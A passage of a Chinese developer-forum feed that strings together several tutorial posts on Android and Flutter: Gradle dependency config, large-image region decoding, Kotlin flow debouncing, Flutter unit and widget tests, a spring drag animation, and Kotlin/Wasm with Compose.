    // implementation 'androidx.appcompat:appcompat:1.6.1'
    // implementation
    //
    // testImplementation 'junit:junit:4.13.2'
    // androidTestImplementation 'androidx.test.ext:junit:1.1.5'
    // androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'

    implementation rootProject.ext.dependencies.coreKtx
    implementation rootProject.ext.dependencies.appcompat
    implementation rootProject.ext.dependencies.material

    testImplementation rootProject.ext.dependencies.junit
    androidTestImplementation rootProject.ext.dependencies.testJunit
    androidTestImplementation rootProject.ext.dependencies.espresso

    }

    需要注意的是,我们在编写代码的时候,是没有代码自动补全的。所以得小心翼翼,必须要和「config.gradle」文件里面的名字向一致。




注意事项



  • 首先就是这种方式在coding的时候,是没有代码补全的(只有输入过的,才会有提示),我们需要确保我们的名字一致

  • 我们在增加依赖的时候,在「config.gradle」里面添加完之后,记得在对应的module里面的「build.gradle」里面添加对应的指向代码。


总结


以上就是本篇文章的全部内容,总结起来其实步骤不多,也就三步。但是需要注意的是细节。需要保持写入的依赖与「config.gradle」文件一致,并且未写过的词,是不会有代码自动补全的。


另外本篇文章是本文属于 《一款基于MVP架构的快速应用开发框架,kotlin版本》 的扩展文章,所以会一步一步说得比较详细一点。大家可以挑重点跳过阅读。


抬头图片


作者:肥仔仁
链接:https://juejin.cn/post/7224007334513770551
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android大图预览

前言 加载高清大图时,往往会有不能缩放和分段加载的需求出现。本文将就BitmapRegionDecoder和subsampling-scale-image-view的使用总结一下Bitmap的分区域解码。 定义 假设现在有一张这样的图片,尺寸为3040 × ...
继续阅读 »

前言


加载高清大图时,往往会有不能缩放分段加载的需求出现。本文将就BitmapRegionDecodersubsampling-scale-image-view的使用总结一下Bitmap的分区域解码


定义


image.png


假设现在有一张这样的图片,尺寸为3040 × 1280。如果按需要完全显示在ImageView上的话就必须进行压缩处理。当需求要求是不能缩放的时候,就需要进行分段查看了。由于像这种尺寸大小的图片在加载到内存后容易造成OOM,所以需要进行区域解码


图中红框的部分就是需要区域解码的部分,即每次只有进行红框区域大小的解码,在需要看其余部分时可以通过如拖动等手势来移动红框区域,达到查看全图的目的。


BitmapRegionDecoder


Android原生提供了BitmapRegionDecoder用于实现Bitmap的区域解码,简单使用的api如下:


// 根据图片文件的InputStream创建BitmapRegionDecoder
val decoder = BitmapRegionDecoder.newInstance(inputStream, false)

val option: BitmapFactory.Options = BitmapFactory.Options()
val rect: Rect = Rect(0, 0, 100, 100)

// rect制定的区域即为需要区域解码的区域
decoder.decodeRegion(rect, option)


  • 通过BitmapRegionDecoder.newInstance可以根据图片文件的InputStream对象创建一个BitmapRegionDecoder对象。

  • decodeRegion方法传入一个Rect和一个BitmapFactory.Options,前者用于规定解码区域,后者用于配置Bitmap,如inSampleSize、inPreferredConfig等。ps:解码区域必须在图片宽高范围内,否则会出现崩溃。


区域解码与全图解码


通过区域解码得到的Bitmap,宽高和占用内存只是指定区域的图像所需要的大小


譬如按1080 × 1037区域大小加载,可以查看Bitmap的allocationByteCount为4479840,即1080 * 1037 * 4


image.png


若直接按全图解码,allocationByteCount为15564800,即3040 * 1280 * 4
image.png


可以看到,区域解码的好处是图像不会完整的被加载到内存中,而是按需加载了。


自定义一个图片查看的View


由于BitmapRegionDecoder只是实现区域解码,如果改变这个区域还是需要开发者通过具体交互实现。这里用触摸事件简单实现了一个自定义View。由于只是简单依赖触摸事件,滑动的灵敏度还是偏高,实际开发可以实现一些自定义的拖拽工具来进行辅助。代码比较简单,可参考注释。


class RegionImageView @JvmOverloads constructor(
context: Context,
attr: AttributeSet? = null,
defStyleAttr: Int = 0
) : View(context, attr, defStyleAttr) {

private var decoder: BitmapRegionDecoder? = null
private val option: BitmapFactory.Options = BitmapFactory.Options()
private val rect: Rect = Rect()

private var lastX: Float = -1f
private var lastY: Float = -1f

fun setImage(fileName: String) {
val inputStream = context.assets.open(fileName)
try {
this.decoder = BitmapRegionDecoder.newInstance(inputStream, false)

// 触发onMeasure,用于更新Rect的初始值
requestLayout()
} catch (e: Exception) {
e.printStackTrace()
} finally {
inputStream.close()
}
}

override fun onTouchEvent(event: MotionEvent?): Boolean {
when (event?.action) {
MotionEvent.ACTION_DOWN -> {
this.decoder ?: return false
this.lastX = event.x
this.lastY = event.y
return true
}
MotionEvent.ACTION_MOVE -> {
val decoder = this.decoder ?: return false
val dx = event.x - this.lastX
val dy = event.y - this.lastY

// 每次MOVE事件根据前后差值对Rect进行更新,需要注意不能超过图片的实际宽高
if (decoder.width > width) {
this.rect.offset(-dx.toInt(), 0)
if (this.rect.right > decoder.width) {
this.rect.right = decoder.width
this.rect.left = decoder.width - width
} else if (this.rect.left < 0) {
this.rect.right = width
this.rect.left = 0
}
invalidate()
}
if (decoder.height > height) {
this.rect.offset(0, -dy.toInt())
if (this.rect.bottom > decoder.height) {
this.rect.bottom = decoder.height
this.rect.top = decoder.height - height
} else if (this.rect.top < 0) {
this.rect.bottom = height
this.rect.top = 0
}
invalidate()
}
}
MotionEvent.ACTION_UP -> {
this.lastX = -1f
this.lastY = -1f
}
else -> {

}
}

return super.onTouchEvent(event)
}

// 测量后默认第一次加载的区域是从0开始到控件的宽高大小
override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)

val w = MeasureSpec.getSize(widthMeasureSpec)
val h = MeasureSpec.getSize(heightMeasureSpec)

this.rect.left = 0
this.rect.top = 0
this.rect.right = w
this.rect.bottom = h
}

// 每次绘制时,通过BitmapRegionDecoder解码出当前区域的Bitmap
override fun onDraw(canvas: Canvas?) {
super.onDraw(canvas)
canvas?.let {
val bitmap = this.decoder?.decodeRegion(rect, option) ?: return
it.drawBitmap(bitmap, 0f, 0f, null)
}
}
}

SubsamplingScaleImageView


davemorrissey/subsampling-scale-image-view可以用于加载超大尺寸的图片,避免大内存导致的OOM,内部依赖的也是BitmapRegionDecoder。好处是SubsamplingScaleImageView已经帮我们实现了相关的手势如拖动、缩放,内部还实现了二次采样和区块显示的逻辑。


如果需要加载assets目录下的图片,可以这样调用


subsamplingScaleImageView.setImage(ImageSource.asset("sample1.jpeg"))

public final class ImageSource {

static final String FILE_SCHEME = "file:///";
static final String ASSET_SCHEME = "file:///android_asset/";

private final Uri uri;
private final Bitmap bitmap;
private final Integer resource;
private boolean tile;
private int sWidth;
private int sHeight;
private Rect sRegion;
private boolean cached;

ImageSource是对图片资源信息的抽象



  • uri、bitmap、resource分别指代图像来源是文件、解析好的Bitmap对象还是resourceId。

  • tile:是否需要分片加载,一般以uri、resource形式加载的都会为true。

  • sWidth、sHeight、sRegion:加载图片的宽高和区域,一般可以指定加载图片的特定区域,而不是全图加载

  • cached:控制重置时,是否需要recycle掉Bitmap


public final void setImage(@NonNull ImageSource imageSource, ImageSource previewSource, ImageViewState state) {
...

if (imageSource.getBitmap() != null && imageSource.getSRegion() != null) {
...
} else if (imageSource.getBitmap() != null) {
...
} else {
sRegion = imageSource.getSRegion();
uri = imageSource.getUri();
if (uri == null && imageSource.getResource() != null) {
uri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://" + getContext().getPackageName() + "/" + imageSource.getResource());
}
if (imageSource.getTile() || sRegion != null) {
// Load the bitmap using tile decoding.
TilesInitTask task = new TilesInitTask(this, getContext(), regionDecoderFactory, uri);
execute(task);
} else {
// Load the bitmap as a single image.
BitmapLoadTask task = new BitmapLoadTask(this, getContext(), bitmapDecoderFactory, uri, false);
execute(task);
}
}
}

由于在我们的调用下,tile为true,setImage方法最后会走到一个TilesInitTask当中。是一个AsyncTask。ps:该库中的多线程异步操作都是通过AsyncTask封装的。


// TilesInitTask
@Override
protected int[] doInBackground(Void... params) {
try {
String sourceUri = source.toString();
Context context = contextRef.get();
DecoderFactory<? extends ImageRegionDecoder> decoderFactory = decoderFactoryRef.get();
SubsamplingScaleImageView view = viewRef.get();
if (context != null && decoderFactory != null && view != null) {
view.debug("TilesInitTask.doInBackground");
decoder = decoderFactory.make();
Point dimensions = decoder.init(context, source);
int sWidth = dimensions.x;
int sHeight = dimensions.y;
int exifOrientation = view.getExifOrientation(context, sourceUri);
if (view.sRegion != null) {
view.sRegion.left = Math.max(0, view.sRegion.left);
view.sRegion.top = Math.max(0, view.sRegion.top);
view.sRegion.right = Math.min(sWidth, view.sRegion.right);
view.sRegion.bottom = Math.min(sHeight, view.sRegion.bottom);
sWidth = view.sRegion.width();
sHeight = view.sRegion.height();
}
return new int[] { sWidth, sHeight, exifOrientation };
}
} catch (Exception e) {
Log.e(TAG, "Failed to initialise bitmap decoder", e);
this.exception = e;
}
return null;
}

@Override
protected void onPostExecute(int[] xyo) {
final SubsamplingScaleImageView view = viewRef.get();
if (view != null) {
if (decoder != null && xyo != null && xyo.length == 3) {
view.onTilesInited(decoder, xyo[0], xyo[1], xyo[2]);
} else if (exception != null && view.onImageEventListener != null) {
view.onImageEventListener.onImageLoadError(exception);
}
}
}

TilesInitTask主要的操作是创建一个SkiaImageRegionDecoder,它主要的作用是封装BitmapRegionDecoder。通过BitmapRegionDecoder获取图片的具体宽高和在Exif中获取图片的方向,便于显示调整。


后续会在onDraw时调用initialiseBaseLayer方法进行图片的加载操作,这里会根据比例计算出采样率来决定是否需要区域解码还是全图解码。值得一提的是,当采样率为1,图片宽高小于Canvas的getMaximumBitmapWidth()getMaximumBitmapHeight()时,也是会直接进行全图解码的。这里调用的TileLoadTask就是使用BitmapRegionDecoder进行解码的操作。


ps:Tile对象为区域的抽象类型,内部会包含指定区域的Bitmap,在onDraw时会根据区域通过Matrix绘制到Canvas上。


private synchronized void initialiseBaseLayer(@NonNull Point maxTileDimensions) {
debug("initialiseBaseLayer maxTileDimensions=%dx%d", maxTileDimensions.x, maxTileDimensions.y);

satTemp = new ScaleAndTranslate(0f, new PointF(0, 0));
fitToBounds(true, satTemp);

// Load double resolution - next level will be split into four tiles and at the center all four are required,
// so don't bother with tiling until the next level 16 tiles are needed.
fullImageSampleSize = calculateInSampleSize(satTemp.scale);
if (fullImageSampleSize > 1) {
fullImageSampleSize /= 2;
}

if (fullImageSampleSize == 1 && sRegion == null && sWidth() < maxTileDimensions.x && sHeight() < maxTileDimensions.y) {
// Whole image is required at native resolution, and is smaller than the canvas max bitmap size.
// Use BitmapDecoder for better image support.
decoder.recycle();
decoder = null;
BitmapLoadTask task = new BitmapLoadTask(this, getContext(), bitmapDecoderFactory, uri, false);
execute(task);
} else {
initialiseTileMap(maxTileDimensions);

List<Tile> baseGrid = tileMap.get(fullImageSampleSize);
for (Tile baseTile : baseGrid) {
TileLoadTask task = new TileLoadTask(this, decoder, baseTile);
execute(task);
}
refreshRequiredTiles(true);

}

}

加载网络图片


BitmapRegionDecoder只能加载本地图片,而如果需要加载网络图片,可以结合Glide使用,以SubsamplingScaleImageView为例


Glide.with(this)
.asFile()
.load("")
.into(object : CustomTarget<File?>() {
override fun onResourceReady(resource: File, transition: Transition<in File?>?) {
subsamplingScaleImageView.setImage(ImageSource.uri(Uri.fromFile(resource)))
}

override fun onLoadCleared(placeholder: Drawable?) {}
})

可以通过CustomTarget获取到图片的File文件,然后再调用SubsamplingScaleImageView#setImage


最后


本文主要总结Bitmap的分区域解码,利用原生的BitmapRegionDecoder可实现区域解码,通过SubsamplingScaleImageView可以对BitmapRegionDecoder进行进一步的交互扩展和优化。如果需要是TV端开发可以参考这篇文章,里面有结合具体的TV端操作适配:Android实现TV端大图浏览


作者:Cy13er
链接:https://juejin.cn/post/7224311569778229304
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

你可能需要了解下的Android开发技巧(一)

callbackFlow {}+debounce()降频 假如当前要做一个实时搜索的功能,监听输入框动态输入的内容向服务器发起搜索请求,这不仅会增大服务器的压力,而且也会产生很多的无用请求。 比如其实你想搜索一个“android”,但随着你在输入框中动态编辑,...
继续阅读 »

callbackFlow {}+debounce()降频


假如当前要做一个实时搜索的功能,监听输入框动态输入的内容向服务器发起搜索请求,这不仅会增大服务器的压力,而且也会产生很多的无用请求。


比如其实你想搜索一个“android”,但随着你在输入框中动态编辑,最多可能会向服务器发送7次请求,很明显前面6次请求都是属于无用请求(暂时不考虑模糊匹配的场景)。


这个时候我们就可以借助于callbackFlow{}将输入框的动态输入转换成流,再借助debounce()对流进行降频即可。关于对debounce()的讲解,可以参考之前的文章:debounce()限流


fun test4(editText: EditText) {
lifecycleScope.launchWhenResumed {
callbackFlow {
val watcher = editText.doAfterTextChanged {
trySend(it?.toString() ?: "")
}

invokeOnClose {
editText.removeTextChangedListener(watcher)
}
}.debounce(200).collect {
//对于输入框中的内容向服务器发起实时搜索请求

}
}
}

判断当前是否为主进程


常见的业务场景中,可能我们会把Service单独放一个进程处理,比如为了单独存放WebView再或者专门开一个服务进程与服务器进行通信,这样当UI进程死掉,也能缓存最新的数据到内容和本地 。


但有时,Service单独放一个进程处理,也会走Application的初始化逻辑,比如初始化第三方SDK、获取某些资源等等,但这些可能是只有UI进程才需要,所以Service进程初始化应该跳过这些逻辑。


所以我们需要判断当前的线程是否属于UI线程,可以利用UI进程的包名和进程名相同的特性实现,代码如下:


fun isMainProcess(): Boolean =
getSystemService<ActivityManager>()?.let {
it.runningAppProcesses.find { info ->
info.pid == Process.myPid()
}?.let { res ->
res.processName == packageName
}
} ?: true

当我写完上面的代码之后,发现Application竟然直接提供了一个获取当前进程名称的方法:


image.png


不过这个只有SDK28以上才能使用,可以判断一下,SDK28以下用上面的代码判断,SDK28及以上用下面的代码判断:


fun isMainProcess2(): Boolean = packageName == getProcessName()

作者:长安皈故里
链接:https://juejin.cn/post/7136913350893502494
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

从现在开始,对你的Flutter代码进行单元测试和微件测试

必要性 作为一个开发,对自己开发的功能进行单元测试是非常有必要的。单元测试是软件开发中一种必要的测试方法。它旨在测试一个单独的模块或组件的功能。单元测试通常是自动化的,并且可以在开发过程中进行频繁的测试。在本文中,我们将探讨单元测试的必要性以及为什么它是软件开...
继续阅读 »

必要性


作为一个开发,对自己开发的功能进行单元测试是非常有必要的。单元测试是软件开发中一种必要的测试方法。它旨在测试一个单独的模块或组件的功能。单元测试通常是自动化的,并且可以在开发过程中进行频繁的测试。在本文中,我们将探讨单元测试的必要性以及为什么它是软件开发中不可或缺的一部分。



  1. 验证代码的正确性


在编写代码时,开发人员往往会犯错误。这些错误可能是语法错误,逻辑错误或其他类型的错误。单元测试可以帮助开发人员及时发现这些错误。通过编写单元测试,开发人员可以验证代码是否按照预期执行,并且可以及早发现和解决错误。



  1. 提高代码质量


单元测试可以帮助开发人员编写更高质量的代码。编写单元测试需要开发人员仔细考虑每个功能点,并确保代码的每个方面都被测试到。通过这个过程,开发人员可以发现并解决潜在的问题,并确保代码的质量得到提高。



  1. 支持重构和改进


在软件开发的生命周期中,代码经常需要进行重构和改进。单元测试可以帮助开发人员在进行这些更改时保证代码的正确性。如果重构或改进代码后,单元测试仍然能够通过,那么开发人员就可以确信代码的行为没有发生变化。这种自信可以让开发人员更加轻松地进行代码更改,并减少由于更改而引入错误的风险。



  1. 提高代码的可维护性


单元测试可以提高代码的可维护性。通过编写单元测试,开发人员可以快速定位代码中的问题并进行修复。这可以使代码更容易维护,并减少开发人员需要花费的时间和精力。在团队合作的情况下,单元测试还可以帮助新成员更快地理解代码,并快速定位和解决问题。


总之,单元测试是软件开发中必不可少的一部分。它可以帮助开发人员验证代码的正确性,提高代码质量,支持重构和改进,并提高代码的可维护性。通过编写单元测试,开发人员可以确保代码的正确性和稳定性,并减少由于更改而引入错误的风险。


单元测试



  1. 安装测试框架


Flutter提供了自己的测试框架,称为flutter_test。在项目中使用flutter_test,需要在pubspec.yaml文件中添加依赖项:


dev_dependencies:
flutter_test:
sdk: flutter

然后,运行以下命令安装依赖项:


flutter packages get

当然在新创建的Flutter工程里,都会默认引用flutter_test并且创建好了test文件夹


image.png



  1. 编写测试用例


测试用例是用来测试应用程序的各个部分的代码。在Flutter中,测试用例通常包含在一个单独的文件中。在这个文件中,你需要导入flutter_test库,并编写测试代码。以下是一个示例:


void main() {
String time = testDate();
print('time=' + time);
}
///检查到期时间
String testDate() {
String expiryDate = '-长期';
List<String> list = (expiryDate).split('-');
if (list.length == 2) {
var start = list[0];
var end = list[1];
if (start.isEmpty || end.isEmpty) {
return '';
}
if (start.length == 8) {
start = DateTime.parse(start).format('yyyy.MM.dd');
}
if (end.length == 8) {
end = DateTime.parse(end).format('yyyy.MM.dd');
}
return '$start-$end';
}
return (expiryDate);
}

在单元测试中,我们可以给对应文件创建对应的测试文件。当我们把数据计算解耦出来,就可以达到不需要UI的情况测试返回结果的情况。配合Mock数据能极大的提高效率。



  1. 进行微件测试
    flutter_test还可以进行微件测试。
    比如我写了一个Widget,这个Widget需要一个json来构建,而json中的一个字段会影响我Widget的创建.我们需要检查这个Widget是否兼容这个json的所有情况.


void questionTitleWidgetTest() {
testWidgets('questionTitle', (widgetTester) async {
String path = '/Users/kfzs_002/Desktop/122.json';
File file = File(path);
String str = file.readAsStringSync();
Map<String, dynamic> json = jsonDecode(str);
Temp temp = Temp.fromJson(json);
for (int i = 0; i < (temp.data?.list?.length ?? 0); i++) {
var data = temp.data!.list![i];
if ((data.questionTitleArr ?? []).isEmpty) {
print('没有标题');
continue;
}
await widgetTester.pumpWidget(
MaterialApp(
home: Material(
child: QuestionTitleWidget(data: data.questionTitleArr ?? []),
),
),
);
print('index=$i');
await widgetTester.pump();
}
});
}

执行测试方法,我们就能在run窗口看到对应的数据结果。


有时我们会写一个动画组件,它有复杂的动画我想检查动画相关参数是否正确。


void examCircleProgressTest() {
testWidgets('examCircleProgressTest', (widgetTester) async {
await widgetTester.pumpWidget(ScreenUtilInit(
designSize: const Size(375, 812),
minTextAdapt: true,
useInheritedMediaQuery: true,
builder: (context, child) => GetMaterialApp(
home: Material(
child: Row(
children: [
ExamCircleProgress(
mTitle: 'title',
subjectType: 2,
progress: 30,
subTitle: 'subtitle',
score: '30',
)
],
),
),
),
));
// await widgetTester.pump();
for (var i = 0; i < 2000; i += 33) {
await widgetTester.pump(Duration(milliseconds: i));
}
});
}

这里我用到了widgetTester.pump.在Widget测试中,widgetTester.pump()方法是一个非常重要的方法,它的作用是将应用程序的状态推进到下一个时间片段。我以33毫秒为间隔,把这个Widget推进到了2秒后的状态。这样就能看到对应的数据情况了。


作者:无敌何尝不可
链接:https://juejin.cn/post/7225116802732425275
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Flutter 手指拖动实现弹簧动画交互

物理模拟可以让应用程序的交互感觉逼真和互动,例如,你可能希望为一个 Widget 设置动画,使其看起来像是附着在弹簧上或是重力下落。本文章实现了演示了如何使用弹簧模拟将小部件从拖动的点移回中心。实现步骤如下 设置动画控制器 使用手势移动小部件 为小部件制作动...
继续阅读 »

物理模拟可以让应用程序的交互感觉逼真和互动,例如,你可能希望为一个 Widget 设置动画,使其看起来像是附着在弹簧上或是重力下落。本文章实现了演示了如何使用弹簧模拟将小部件从拖动的点移回中心。
实现步骤如下



  1. 设置动画控制器

  2. 使用手势移动小部件

  3. 为小部件制作动画

  4. 计算速度以模拟弹簧运动




1 创建一个动画控制器


首页创建一个测试使用的Demo页面


void main() {
runApp(const MaterialApp(home: PhysicsCardDragDemo()));
}

class PhysicsCardDragDemo extends StatelessWidget {
const PhysicsCardDragDemo({super.key});

@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(),
body: const DraggableCard(
child: FlutterLogo(
size: 128,
),
),
);
}
}

DraggableCard 是自定义的一个 StatefulWidget,代码如下:


class _DraggableCardState extends State<DraggableCard> {
@override
void initState() {
super.initState();
}

@override
void dispose() {
super.dispose();
}

@override
Widget build(BuildContext context) {
return Align(
child: Card(
child: widget.child,
),
);
}
}

然后在 _DraggableCardState 中创建一个动画控制器,并在页面销毁的时候释放动画控制器,代码如下:


class _DraggableCardState extends State<DraggableCard>
with SingleTickerProviderStateMixin {
late AnimationController _controller;

@override
void initState() {
super.initState();
_controller = AnimationController(vsync: this, duration: const Duration(seconds: 1));
}

@override
void dispose() {
_controller.dispose();
super.dispose();
}

@override
Widget build(BuildContext context) {
return Align(
child: Card(
child: widget.child,
),
);
}
}

SingleTickerProviderStateMixin是用来在StatefulWidget中管理单个AnimationController的Mixin;它提供了一个TickerProvider,用于将AnimationController与TickerProviderStateMixin一起使用。


TickerProviderStateMixin提供了一个Ticker,它可以在每个frame中调用AnimationController的方法,这使得AnimationController可以在每个frame中更新动画。


2 使用手势移动Widget


在 _DraggableCardState 中,结合使用 Alignment 与 GestureDetector,代码如下:


class _DraggableCardState extends State<DraggableCard>
with SingleTickerProviderStateMixin {
late AnimationController _controller;
Alignment _dragAlignment = const Alignment(0, 0);
@override
Widget build(BuildContext context) {
var size = MediaQuery.of(context).size;
return GestureDetector(
onPanDown: (details) {},
onPanUpdate: (details) {
_dragAlignment += Alignment(
details.delta.dx / (size.width / 2),
details.delta.dy / (size.height / 2),
);
setState(() {
});
},
onPanEnd: (details) {},
child: Align(
alignment: _dragAlignment,
child: Card(
child: widget.child,
),
),
);
}

GestureDetector用来检测手势,例如轻触、滑动、拖动等,可以用来实现各种交互效果。


Alignment用于控制子widget在父widget中的位置。可以通过Alignment的构造函数来指定子widget相对于父widget的位置,如Alignment.topLeft表示子widget位于父widget的左上角。也可以通过FractionalOffset来指定子widget相对于父widget的位置,如FractionalOffset(0.5, 0.5)表示子widget位于父widget的中心。Alignment还可以与Stack一起使用,实现多个子widget的定位。
在这里插入图片描述


3 创建一个动画Widget


我们需要实现,当手指抬起时,被移动的 Widget 动画的方式弹回去。


在这里需要一个 Animation ,再定义一个 runAnimation 方法,同时为 第一步创建的动画控制器添加一个更新监听。


class _DraggableCardState extends State<DraggableCard>
with SingleTickerProviderStateMixin {

late AnimationController _controller;
late Animation<Alignment> _animation;
@override
void initState() {
super.initState();
_controller =
AnimationController(vsync: this, duration: const Duration(seconds: 1));

_controller.addListener(() {
setState(() {
_dragAlignment = _animation.value;
});
});
}

void _runAnimation() {
_animation = _controller.drive(
AlignmentTween(
begin: _dragAlignment,
end: Alignment.center,
),
);
_controller.reset();
_controller.forward();
}
}

然后在手指抬起的时候,执行动画,将被移动的 Widget (如这里的图片)以动画的方式移动回原位:


@override
Widget build(BuildContext context) {
var size = MediaQuery.of(context).size;
return GestureDetector(
onPanDown: (details) {
_controller.stop();
},
onPanUpdate: (details) {
_dragAlignment += Alignment(
details.delta.dx / (size.width / 2),
details.delta.dy / (size.height / 2),
);
setState(() {

});
},
onPanEnd: (details) {
_runAnimation();
},
child: Align(
alignment: _dragAlignment,
child: Card(
child: widget.child,
),
),
);
}

在这里插入图片描述


4 计算速度以模拟弹簧运动


最后一步是做一些数学运算,计算小部件完成拖动后的速度。这是为了使小部件在被拍回之前能够以这种速度逼真地继续。(_runAnimation方法已经通过设置动画的开始和结束对齐来设置方向。)


导入包如下:


import 'package:flutter/physics.dart';

onPanEnd回调提供了一个DragEndDetails对象。此对象提供指针停止接触屏幕时的速度。速度以像素每秒为单位,但Align小部件不使用像素。它使用介于[-1.0,-1.0]和[1.0,1.0]之间的坐标值,其中[0.0,0.0]表示中心。步骤2中计算的大小用于将像素转换为该范围内的坐标值。


然后修改 runAnimation 执行动画函数如下:


void _runAnimation(Offset pixelsPerSecond, Size size) {
_animation = _controller.drive(
AlignmentTween(
begin: _dragAlignment,
end: Alignment.center,
),
);

final unitsPerSecondX = pixelsPerSecond.dx / size.width;
final unitsPerSecondY = pixelsPerSecond.dy / size.height;
final unitsPerSecond = Offset(unitsPerSecondX, unitsPerSecondY);
final unitVelocity = unitsPerSecond.distance;

//它可以用于模拟弹簧的阻尼、质量和刚度等属性,从而实现更加真实的动画效果。
const spring = SpringDescription(
mass: 30,
stiffness: 1,
damping: 1,
);
//SpringSimulation用来模拟一个弹簧的运动,可以用于创建具有弹性的动画效果。
final simulation = SpringSimulation(spring, 0, 1, -unitVelocity);

_controller.animateWith(simulation);
}

然后在手指抬起的时候调用


onPanEnd: (details) {
_runAnimation(details.velocity.pixelsPerSecond, size);
},

作者:早起的年轻人
链接:https://juejin.cn/post/7224433107776389157
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Kotlin跨平台第四弹:了解Kotlin/Wasm 前言

前言 前几天,Compose for iOS 发布了Alpha版本,不过早在两个多月前的试验阶段时,我们已经在Compose跨平台第三弹:体验Compose for iOS 为大家分享了Compose开发iOS的体验。 我们也在Compose跨平台第二弹:体验...
继续阅读 »

前言


前几天,Compose for iOS 发布了Alpha版本,不过早在两个多月前的试验阶段时,我们已经在Compose跨平台第三弹:体验Compose for iOS 为大家分享了Compose开发iOS的体验。


我们也在Compose跨平台第二弹:体验Compose for Web 中了解了如何使用Compose开发Web程序,当时也一起见证了Compose for Web 割裂严重的问题。这个问题官方也一直在推进解决,这要得益于Kotlin/Wasm。那么Kotlin/Wasm又是什么呢?


了解Kotlin/Wasm


是什么


Kotlin/Wasm是将Kotlin编译为WebAssembly (Wasm)的工具链。那WebAssembly又是什么呢?


WebAssembly是一种低级字节码格式,可以在Web浏览器中运行,并且具有比JavaScript更快的执行速度和更好的跨平台兼容性。


可以做什么


使用Kotlin/Wasm,我们可以使用Kotlin编写Web应用程序,然后将其编译为Wasm字节码,以在Web浏览器中运行。这样我们就可以在单个代码库中使用相同的语言和工具来开发应用程序,而不必学习JavaScript等其他语言。此外,由于Wasm字节码是一种跨平台格式,因此应用程序可以在各种操作系统和设备上运行,而不必重新编写代码。


简单的说


总之,Kotlin/Wasm是一种新兴的技术,可以让开发人员使用Kotlin编写Web应用程序,并在Web浏览器中运行。这可以使开发更加简单和高效,并提供更好的跨平台兼容性和更快的执行速度。


Kotlin/Wasm 是从 Kotlin 1.8.20版本开始支持的,当前处于实验阶段。


体验Kotlin/Wasm


启用WASM


我们使用最新版本的IntelliJ IDEA,先随便打开一个项目,双击Shift,再弹出的搜索中输入Registry



选中并回车,在弹出的窗口中找到Kotlin.wasm.wizard,勾选此选项。



然后IDEA会提示我们重启,重启后,就启用了wasm。之后,我们就可以通过IDEA创建Kotlin/Wasm项目。


创建Kotlin/Wasm项目


打开IDEA,创建Kotin Multiplatform项目,选择Browser Application with Kotlin/Wasm,如下图所示。



默认情况下,项目将使用带有 Kotlin DSL 的 Gradle 作为构建系统。创建好项目后,在wasmMain目录下为我们创建了Simple.kt文件,如下图所示。



此外,由于Kotlin/Wasm是从1.8.20版本新增的,所以我们要确保配置文件中的版本号是正确的。


plugins {
kotlin("multiplatform") version "1.8.20"
}

运行程序


点击运行程序,运行后在浏览器输入框中输入http://localhost:8080/ ,如下图所示。



这里我使用的是Chrome浏览器,需要在Chrome中输入chrome://flags/#enable-webassembly-garbage-collection,然后启用WebAssembly Garbage Collection,这一点需要注意下。



Hello World程序运行之后,我们可以修改自己想要的展示的文字,比如修改代码如下所示:


fun main() {
document.body?.appendText("Hello, first Kotlin/Wasm Project!")
}

运行程序,如下图所示。



Kotlin/Wasm 可以使用来自 Kotlin 的 JavaScript 代码和来自 JavaScript 的 Kotlin 代码。也就是Kotlin和JavaScript是可以互相操作的。这并不是我们的重点这里就不演示了。


体验Wasm版本的Compose for Web


Compose跨平台第二弹:体验Compose for Web中,我们使用的是“compose-html”,Kotlin/Wasm在Web浏览器中可以实现更高性能和低延迟的计算机程序。


当前依赖于Kotlin/Wasm的“compose-wasm-canvas”已经在实验阶段,而“compose-wasm-canvas”基本可以解决我们之前所体验到的割裂问题。我们来一起体验一下。


项目配置


由于“compose-wasm-canvas”还处于实验结算所以我们在确保版本号、配置可用,修改配置文件代码如下所示:


kotlin.version=1.8.20
org.jetbrains.compose.experimental.jscanvas.enabled=true
compose.version=1.4.0-dev-wasm06

代码编写


@OptIn(ExperimentalComposeUiApi::class)
fun main() {
CanvasBasedWindow {
LoginUi()
}
}

外层使用CanvasBasedWindow包裹,test就是我们自己写的Compose代码,这里我们两个输入框和一个登陆按钮,代码如下所示:


@Composable
fun LoginUI() {

var username by remember { mutableStateOf("") }
var password by remember { mutableStateOf("") }

Column(
modifier = Modifier
.fillMaxWidth()
.padding(16.dp)
) {
OutlinedTextField(
value = username,
onValueChange = { username = it },
label = { Text("userName") },
placeholder = { Text("input userName") },
modifier = Modifier.fillMaxWidth()
)

OutlinedTextField(
value = password,
onValueChange = { password = it },
label = { Text("password") },
placeholder = { Text("input password") },
visualTransformation = PasswordVisualTransformation(),
modifier = Modifier
.fillMaxWidth()
.padding(top = 8.dp)
)

Button(onClick = {
//login
}) {
Text("Login")
}
}
}

这就是和Android中Compose完全一样的代码,运行程序,结果如下图所示。



总结


“compose-wasm-canvas”与“compose-html”完全不同,并且解决了我们之前所提到的在Compose for Web中严重的割裂问题,不过,不管是“compose-wasm-canvas”还是Kotlin/Wasm都还处于早期的实验性阶段,什么时候发布Aplha甚至是Beta版本,是个未知数,让我们一起期待吧~


作者:黄林晴
链接:https://juejin.cn/post/7224718832786325559
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

面试串讲009-布局层级太多怎么优化?

问题: 布局层级太多怎么优化? 回答: View整体布局是通过深度优先的方式来进行组织的,整体形似一颗树,所以优化布局层级主要通过三个方向来实施: 降低布局深度:使用merge标签或者布局层级优化等手段来减少View树的深度; 布局懒加载:使用ViewStu...
继续阅读 »

问题:


布局层级太多怎么优化?


回答:


View整体布局是通过深度优先的方式来进行组织的,整体形似一颗树,所以优化布局层级主要通过三个方向来实施:



